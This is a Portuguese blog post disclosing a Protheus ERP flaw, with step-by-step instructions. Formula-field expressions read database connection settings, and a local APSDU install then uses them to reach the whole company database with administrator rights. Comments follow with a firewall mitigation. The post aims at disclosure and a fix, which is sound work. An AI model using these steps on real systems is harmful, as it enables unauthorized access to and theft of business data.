Pular para o conteúdo principal

Postagem em destaque

🚀 Oferecendo Serviços Remotos de Desenvolvedor AdvPL e Mais 🖥️

🚀 Oferecendo Serviços Remotos de Desenvolvedor AdvPL e Mais 🖥️ Olá pessoal, Espero que este post encontre todos vocês bem! É com grande entusiasmo que compartilho que estou expandindo meus serviços como Desenvolvedor AdvPL para novos desafios e colaborações. Com mais de duas décadas de experiência sólida, minha jornada profissional tem sido enriquecedora, com a oportunidade de participar de projetos empolgantes ao longo dos anos. Agora, estou ansioso para trazer minha experiência e habilidades para novas equipes e projetos, trabalhando de forma remota. Minha expertise abrange não apenas AdvPL, mas também outras tecnologias-chave, incluindo JS, SQL, Infraestrutura e Otimização de Processos. Acredito que essa combinação de conhecimentos me permite oferecer soluções abrangentes e eficazes para uma variedade de necessidades de desenvolvimento. Acredito que a tecnologia tem o poder de transformar negócios e impulsionar o sucesso, e estou comprometido em ajudar meus clientes a alcançar seu

BlackTDN :: Bug acesso a base de dados sem validação de privilégios de usuário


Untitled-1Existe um ‘bug’ que permite acessar a base de dados, mesmo que o usuario não tenha acesso ao sistema (ambiente), com cadastro no arquivo de senhas do Protheus. A falha permite acesso total a base de dados através do APSDU com privilégios de Administrador usando uma instalação local para acesso ao servidor alvo. Para isso basta acompanhar os passos indicados abaixo:

Passos:
Ter o protheus instalado em sua máquina local.
Ter acesso ao ambiente, mesmo que seja como usuario normal e com acesso ao campo formulas.
Acessar o ambiente que deseja ter acesso aos dados para obter os parametros de acesso seguindo os passos abaixo:
    3.1 Acessar o sistema e usando o campo formulas para obter as informacoes abaixo:
        Anote as informações obtidas para uso posterior.        * Para cada item, de a) à d), executar uma formula de cada vez até obter o valor desejado.

        a)Database (Nome do banco configurado no Top)           
            Formula 1: ApMsgInfo(GetSrvProfString('DBDataBase', 'ERROR' ))
            Formula 2: ApMsgInfo(GetSrvProfString('TopDataBase', 'ERROR' ))
            Formula 3: ApMsgInfo(GetPvProfString( 'TotvsDbAccess', 'DataBase', 'ERROR', GetAdv97() ))
            Formula 4: ApMsgInfo(GetPvProfString( 'TopConnect', 'DataBase', 'ERROR', GetAdv97() ))
       
        b)Alias (Alias do banco definida no ODBC)
           
            Formula 1: ApMsgInfo(GetSrvProfString( 'DBAlias'   , 'ERROR'))
            Formula 2: ApMsgInfo(GetSrvProfString( 'TopAlias'   , 'ERROR'))
            Formula 3: ApMsgInfo(GetPvProfString( 'TotvsDbAccess', 'Alias' , 'ERROR', GetAdv97() ))
            Formula 4: ApMsgInfo(GetPvProfString( 'TopConnect', 'Alias' , 'ERROR', GetAdv97() ))
       
        c)Server (IP ou nome do servidor definido no INI)
       
            Formula 1: ApMsgInfo(GetSrvProfString( 'DBServer'  , 'ERROR' ))
            Formula 2: ApMsgInfo(GetSrvProfString( 'TopServer'  , 'ERROR' ))
            Formula 3: ApMsgInfo(GetPvProfString( 'TotvsDbAccess', 'Server'  , 'ERROR', GetAdv97() ))
            Formula 4: ApMsgInfo(GetPvProfString( 'TopConnect', 'Server'  , 'ERROR', GetAdv97() ))
           
        d)Port    (Numero da porta do servidor, por default 7890)
           
            Formula 1: ApMsgInfo(GetSrvProfString( 'DBPort', 'ERROR' ))
            Formula 2: ApMsgInfo(GetSrvProfString( 'TopPort', 'ERROR' ))
            Formula 3: ApMsgInfo(GetPvProfString( 'TotvsDbAccess', 'Port'  , 'ERROR', GetAdv97() ))
            Formula 4: ApMsgInfo(GetPvProfString( 'TopConnect', 'Port'  , 'ERROR', GetAdv97() ))
       
        Caso não tenha sucesso será exibida a mensagem abaixo:
        tela1

        Em caso de sucesso a mensagem abaixo será exibida com o valor pretendido:
        tela2-ok

        Para prosseguir são necessárias todas as informações:

        a)Database: Nome do banco configurado no Top/DBAccess
        b)Alias ODBC: Alias para acesso ao banco
        c)Server: IP do server Protheus
        d)Porta: (default 7890)       
        Sem qualquer um dos parametros acima nao será possível prosseguir.       
4º Acessar o sistema local (Instalação do Protheus em sua máquina)       
   4.1 Na tela de Splash informar APSDU, como rotina a ser executada,
        não alterar informações de ambiente.

       
        Após abrir o APSDU (Local).
       
        a) Acessar o menu arquivo e abrir
        apsdu abrir
       
        b) Escolher o driver de conexão [TopConnect]
        apsdu abrir driver
       
        c) Informar os parametros obtidos anteriormente para acesso a base de dados
        apsdu abrir conectar topconn
* Em 'DBMS/Base de dados' informar o resultado obtido com a formula a) concatenando
com o resultado da formula b). Por exemplo, suponhamos que o resultado de a) foi MSSQL
e o resultado de b) ODBC_P11, entao deverá ser informado no campo 'MSSQL/ODBC_P11'
E pronto! Todas as tabelas do sistema serão exibidas para seleção.


Dessa forma qualquer pessoa, desde que, na mesma rede e com acesso de usuario normal no ambiente que deseja ter acesso aos dados, poderá acessar com privilégios de admin todos os dados da empresa.
Também é possível executar queries consultando a base de dados, basta configurar os parametros na tela abaixo como descrito no 4º item, citado acima:
Conectar como...ApQA - Protheus P Query Analyzer
Como isso é possível?
       
Isso é possível devido a arquitetura do Protheus, na figura abaixo é apresentado de forma simplificada a arquitetura de validação de permissão de acessos.
       
Na figura 1
validacaoarquivosenha
é apresentada a forma normal de acesso onde o Client envia requisições ao Protheus Server, que após validação da permissão de usuário solicita acesso ao BD pelo TopConnect.
       
Na figura 2
topologia1
é apresentada a forma de acesso utilizando uma brecha na arquitetura, onde
o Client ‘impostor’, executa a validação do usuário em seu proprio Protheus Server garantindo
acesso de Administrador e então utilizando os parametros para requisição ao TopConnect de acesso
aos dados.
       
É evidente a existencia de uma brecha no processo, permitindo acesso a base por um usuario sem
sequer realizar a validação das permissões do mesmo, já que este consegue realizar requisições ao
TopConnect de forma autentica sem distinção da aplicação (Client) requisitante.
Este post não tem como objetivo desmerecer o produto, mas sim elucidar essa falha que pode estar sendo explorada. Esperamos então que sejam tomadas as devidas providencias a fim de sanar o problema.
[]’s

Comentários

  1. ÓTIMO POST
    Infelizmente a Totvs não demonstra interesse em acabar com as brechas, como se explora-las não fosse interessante a ninguém.
    Digo isto pois encontrei brechas no FTP da Totvs(cloud), onde abri chamado informando todo processo e nada foi feito para arrumar.

    Espero que a Totvs veja a importância de corrigir estas falhas pois ao contrário do que eles pensam, pode existir pessoas mal intensionadas prontas para se aproveitar.

    ResponderExcluir
  2. Para contornar esta falha seria interessante criar regras no firewall do servidor para permitir conexões de entrada apenas de maquinas previamente autorizadas.

    ResponderExcluir

Postar um comentário

Postagens mais visitadas deste blog

BlackTDN :: RLeg ~ Desvendando a Função ParamBox

Para quem precisar desenvolver uma interface de entrada de dados, coisa rápida, e não quer ter aquele trabalhão danado que todos já sabemos, o Protheus tem uma função que ajuda muito, é uma interface semelhante a função Pergunte, porém com muito mais opção de objeto de entrada de dados, alias até colocar o scrollbox desta interface com todos os objetos em outra MsDialog ou Wizard é simples. Vejam o exemplo abaixo, boa sorte! Rleg. //---------------------------------------------------------- // Função exemplo utilizando a função ParamBox() //---------------------------------------------------------- User Function xParamBox() Local aRet := {} Local aParamBox := {} Local aCombo := {"Janeiro","Fevereiro","Março","Abril","Maio","Junho","Julho","Agosto","Setembro","Outubro","Novembro","Dezembro"} Local i := 0 Private cCadastro := "xParambox" // ---------------

BlackTDN :: Customizando a interface de Login no Protheus e by You

A publicação “ BlackTDN :: By You e sua nova tela de login ”  de nosso amigo OBona deu o que falar e, em função disso, esse que a muito não vos escreve resolveu criar uma versão onde será possível personalizar, “por completo”, a tela de login no Protheus/by You. Considerando que OBona já havia “mapeado, identificado e customizado” as imagens peguei-as emprestadas para o exemplo que se segue: O primeiro passo para a customização “total” da interface de login do Protheus/by You será implementar o “Ponto de Entrada” ChgPrDir (Diretório de impressão) . Usaremos esse PE juntamente como programa U_FindMsObject.prg (apresentado pela primeira vez em: Protheus :: ADVPL : The Container : Presents Pandora's box ). Diferente do exemplo proposto por OBona, que substitui, durante o processo de compilação, as imagens padrões do sistema (excluindo-as) por imagens customizadas (com o mesmo nome) este novo exemplo mantém, no RPO, as imagens padrões adicionando novas imagens customizadas que serã

Protheus :: Chamando Funções do Menu Diretamente e sem a Necessidade de Login

Ferne$ perguntou: "...é possível abrir alguma rotina do sistema sem solicitar login ao usuário, como por exemplo a rotina MATA010..." Sim Ferne$, é possível sim. Abaixo um Exemplo para a Chamada à função MATA010 sem a necessidade de Login no sistema. #INCLUDE "PROTHEUS.CH" #INCLUDE "TBICONN.CH" /*/ Funcao: MATA010Ex Data: 30/04/2011 Autor: Marinaldo de Jesus Descricao: Executar a Funcao MATA010 diretamente sem a necessidade de LOGIN no Protheus Sintaxe: 1 ) U_MATA010Ex ( Chamada diretamente na Tela de Entrada do Sistema ) ; ou 2 ) totvsclient.exe -q -p=u_MATA010Ex -a=01;01 -c=rnp_local -e=rnp -m -l ( Chamada Via Linha de Comando ) /*/ User Function MATA010Ex( cEmpFil ) Local aEmpFil Local bWindowInit := { || __Execute( "MATA010()" , "xxxxxxxxxxxxxxxxxxxx" , "MATA010" , "SIGAFAT" , "SIGAFAT", 1 , .T. ) } Local cEmp Local cFil Local cMod Local cModName := "SIGAFAT" DEFA